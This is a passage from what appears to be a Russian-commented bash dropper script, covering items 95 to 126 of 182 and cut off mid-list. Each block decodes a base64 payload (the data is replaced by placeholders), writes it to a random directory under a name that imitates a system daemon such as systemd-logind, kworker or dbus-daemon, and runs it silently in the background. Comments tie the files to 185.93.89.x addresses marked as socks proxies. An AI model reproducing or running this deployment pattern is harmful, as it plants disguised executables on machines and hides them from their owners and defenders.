        echo "❌ Failed to decode: chronyd-786"
        failed=$((failed + 1))
    fi
    

    # Файл 95: 185.93.89.16664 -> systemd-networkd-354
    echo "🔧 [95/182] Deploying systemd-networkd-354"
    
    # Собираем данные из частей
    FILE_DATA_94="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-networkd-354"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_94" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-networkd-354 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-networkd-354 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-networkd-354"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-networkd-354"
        failed=$((failed + 1))
    fi
    

    # Файл 96: 185.93.89.16632 -> systemd-resolved-227
    echo "🔧 [96/182] Deploying systemd-resolved-227"
    
    # Собираем данные из частей
    FILE_DATA_95="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-227"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_95" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-227 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-227 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-227"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-227"
        failed=$((failed + 1))
    fi
    

    # Файл 97: 185.93.89.18364 -> systemd-logind-489
    echo "🔧 [97/182] Deploying systemd-logind-489"
    
    # Собираем данные из частей
    FILE_DATA_96="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-logind-489"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_96" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-logind-489 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-logind-489 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-logind-489"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-logind-489"
        failed=$((failed + 1))
    fi
    

    # Файл 98: 185.93.89.18332 -> watchdog-228
    echo "🔧 [98/182] Deploying watchdog-228"
    
    # Собираем данные из частей
    FILE_DATA_97="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/watchdog-228"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_97" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./watchdog-228 >/dev/null 2>&1 & then
            echo "✅ Started: watchdog-228 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: watchdog-228"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: watchdog-228"
        failed=$((failed + 1))
    fi
    

    # Файл 99: 185.93.89.17864 -> kworker-749
    echo "🔧 [99/182] Deploying kworker-749"
    
    # Собираем данные из частей
    FILE_DATA_98="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-749"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_98" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-749 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-749 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-749"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-749"
        failed=$((failed + 1))
    fi
    

    # Файл 100: 185.93.89.17832 -> chronyd-108
    echo "🔧 [100/182] Deploying chronyd-108"
    
    # Собираем данные из частей
    FILE_DATA_99="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/chronyd-108"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_99" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./chronyd-108 >/dev/null 2>&1 & then
            echo "✅ Started: chronyd-108 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: chronyd-108"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: chronyd-108"
        failed=$((failed + 1))
    fi
    

    # Файл 101: 185.93.89.17964 -> watchdog-119
    echo "🔧 [101/182] Deploying watchdog-119"
    
    # Собираем данные из частей
    FILE_DATA_100="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/watchdog-119"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_100" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./watchdog-119 >/dev/null 2>&1 & then
            echo "✅ Started: watchdog-119 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: watchdog-119"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: watchdog-119"
        failed=$((failed + 1))
    fi
    

    # Файл 102: 185.93.89.17932 -> systemd-logind-577
    echo "🔧 [102/182] Deploying systemd-logind-577"
    
    # Собираем данные из частей
    FILE_DATA_101="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-logind-577"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_101" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-logind-577 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-logind-577 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-logind-577"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-logind-577"
        failed=$((failed + 1))
    fi
    

    # Файл 103: 185.93.89.19132 -> rcu_gp-435
    echo "🔧 [103/182] Deploying rcu_gp-435"
    
    # Собираем данные из частей
    FILE_DATA_102="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-435"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_102" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-435 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-435 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-435"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-435"
        failed=$((failed + 1))
    fi
    

    # Файл 104: 185.93.89.14964 -> systemd-logind-953
    echo "🔧 [104/182] Deploying systemd-logind-953"
    
    # Собираем данные из частей
    FILE_DATA_103="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-logind-953"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_103" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-logind-953 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-logind-953 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-logind-953"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-logind-953"
        failed=$((failed + 1))
    fi
    

    # Файл 105: 185.93.89.14932 -> rcu_gp-485
    echo "🔧 [105/182] Deploying rcu_gp-485"
    
    # Собираем данные из частей
    FILE_DATA_104="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-485"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_104" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-485 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-485 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-485"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-485"
        failed=$((failed + 1))
    fi
    

    # Файл 106: 185.93.89.183.32 -> systemd-resolved-693
    echo "🔧 [106/182] Deploying systemd-resolved-693"
    
    # Собираем данные из частей
    FILE_DATA_105="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-693"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_105" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-693 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-693 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-693"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-693"
        failed=$((failed + 1))
    fi
    

    # Файл 107: 185.93.89.143_socks64 -> NetworkManager-777
    echo "🔧 [107/182] Deploying NetworkManager-777"
    
    # Собираем данные из частей
    FILE_DATA_106="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/NetworkManager-777"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_106" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./NetworkManager-777 >/dev/null 2>&1 & then
            echo "✅ Started: NetworkManager-777 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: NetworkManager-777"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: NetworkManager-777"
        failed=$((failed + 1))
    fi
    

    # Файл 108: 185.93.89.144_socks64 -> rsyslog-453
    echo "🔧 [108/182] Deploying rsyslog-453"
    
    # Собираем данные из частей
    FILE_DATA_107="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-453"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_107" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-453 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-453 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-453"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-453"
        failed=$((failed + 1))
    fi
    

    # Файл 109: 185.93.89.145_socks64 -> systemd-logind-925
    echo "🔧 [109/182] Deploying systemd-logind-925"
    
    # Собираем данные из частей
    FILE_DATA_108="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-logind-925"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_108" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-logind-925 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-logind-925 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-logind-925"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-logind-925"
        failed=$((failed + 1))
    fi
    

    # Файл 110: 185.93.89.146_socks64 -> NetworkManager-285
    echo "🔧 [110/182] Deploying NetworkManager-285"
    
    # Собираем данные из частей
    FILE_DATA_109="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/NetworkManager-285"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_109" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./NetworkManager-285 >/dev/null 2>&1 & then
            echo "✅ Started: NetworkManager-285 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: NetworkManager-285"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: NetworkManager-285"
        failed=$((failed + 1))
    fi
    

    # Файл 111: 185.93.89.147_socks64 -> kworker-689
    echo "🔧 [111/182] Deploying kworker-689"
    
    # Собираем данные из частей
    FILE_DATA_110="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-689"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_110" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-689 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-689 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-689"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-689"
        failed=$((failed + 1))
    fi
    

    # Файл 112: 185.93.89.149_socks64 -> NetworkManager-172
    echo "🔧 [112/182] Deploying NetworkManager-172"
    
    # Собираем данные из частей
    FILE_DATA_111="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/NetworkManager-172"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_111" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./NetworkManager-172 >/dev/null 2>&1 & then
            echo "✅ Started: NetworkManager-172 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: NetworkManager-172"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: NetworkManager-172"
        failed=$((failed + 1))
    fi
    

    # Файл 113: 185.93.89.150_socks64 -> systemd-resolved-556
    echo "🔧 [113/182] Deploying systemd-resolved-556"
    
    # Собираем данные из частей
    FILE_DATA_112="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-556"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_112" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-556 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-556 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-556"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-556"
        failed=$((failed + 1))
    fi
    

    # Файл 114: 185.93.89.151_socks64 -> ksoftirqd-308
    echo "🔧 [114/182] Deploying ksoftirqd-308"
    
    # Собираем данные из частей
    FILE_DATA_113="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/ksoftirqd-308"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_113" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./ksoftirqd-308 >/dev/null 2>&1 & then
            echo "✅ Started: ksoftirqd-308 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: ksoftirqd-308"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: ksoftirqd-308"
        failed=$((failed + 1))
    fi
    

    # Файл 115: 185.93.89.152_socks64 -> NetworkManager-295
    echo "🔧 [115/182] Deploying NetworkManager-295"
    
    # Собираем данные из частей
    FILE_DATA_114="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/NetworkManager-295"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_114" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./NetworkManager-295 >/dev/null 2>&1 & then
            echo "✅ Started: NetworkManager-295 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: NetworkManager-295"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: NetworkManager-295"
        failed=$((failed + 1))
    fi
    

    # Файл 116: 185.93.89.153_socks64 -> systemd-logind-790
    echo "🔧 [116/182] Deploying systemd-logind-790"
    
    # Собираем данные из частей
    FILE_DATA_115="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-logind-790"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_115" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-logind-790 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-logind-790 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-logind-790"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-logind-790"
        failed=$((failed + 1))
    fi
    

    # Файл 117: 185.93.89.155_socks64 -> watchdog-670
    echo "🔧 [117/182] Deploying watchdog-670"
    
    # Собираем данные из частей
    FILE_DATA_116="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/watchdog-670"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_116" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./watchdog-670 >/dev/null 2>&1 & then
            echo "✅ Started: watchdog-670 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: watchdog-670"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: watchdog-670"
        failed=$((failed + 1))
    fi
    

    # Файл 118: 185.93.89.156_socks64 -> systemd-resolved-530
    echo "🔧 [118/182] Deploying systemd-resolved-530"
    
    # Собираем данные из частей
    FILE_DATA_117="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-530"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_117" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-530 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-530 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-530"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-530"
        failed=$((failed + 1))
    fi
    

    # Файл 119: 185.93.89.157_socks64 -> rcu_gp-123
    echo "🔧 [119/182] Deploying rcu_gp-123"
    
    # Собираем данные из частей
    FILE_DATA_118="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-123"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_118" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-123 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-123 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-123"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-123"
        failed=$((failed + 1))
    fi
    

    # Файл 120: 185.93.89.158_socks64 -> watchdog-995
    echo "🔧 [120/182] Deploying watchdog-995"
    
    # Собираем данные из частей
    FILE_DATA_119="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/watchdog-995"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_119" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./watchdog-995 >/dev/null 2>&1 & then
            echo "✅ Started: watchdog-995 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: watchdog-995"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: watchdog-995"
        failed=$((failed + 1))
    fi
    

    # Файл 121: 185.93.89.159_socks64 -> dbus-daemon-984
    echo "🔧 [121/182] Deploying dbus-daemon-984"
    
    # Собираем данные из частей
    FILE_DATA_120="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-984"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_120" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-984 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-984 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-984"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-984"
        failed=$((failed + 1))
    fi
    

    # Файл 122: 185.93.89.162_socks64 -> systemd-logind-591
    echo "🔧 [122/182] Deploying systemd-logind-591"
    
    # Собираем данные из частей
    FILE_DATA_121="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-logind-591"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_121" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-logind-591 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-logind-591 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-logind-591"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-logind-591"
        failed=$((failed + 1))
    fi
    

    # Файл 123: 185.93.89.163_socks64 -> dbus-daemon-294
    echo "🔧 [123/182] Deploying dbus-daemon-294"
    
    # Собираем данные из частей
    FILE_DATA_122="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-294"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_122" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-294 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-294 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-294"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-294"
        failed=$((failed + 1))
    fi
    

    # Файл 124: 185.93.89.164_socks64 -> watchdog-402
    echo "🔧 [124/182] Deploying watchdog-402"
    
    # Собираем данные из частей
    FILE_DATA_123="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/watchdog-402"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_123" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./watchdog-402 >/dev/null 2>&1 & then
            echo "✅ Started: watchdog-402 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: watchdog-402"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: watchdog-402"
        failed=$((failed + 1))
    fi
    

    # Файл 125: 185.93.89.165_socks64 -> migration-860
    echo "🔧 [125/182] Deploying migration-860"
    
    # Собираем данные из частей
    FILE_DATA_124="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/migration-860"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_124" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./migration-860 >/dev/null 2>&1 & then
            echo "✅ Started: migration-860 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: migration-860"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: migration-860"
        failed=$((failed + 1))
    fi
    

    # Файл 126: 185.93.89.166_socks64 -> migration-926
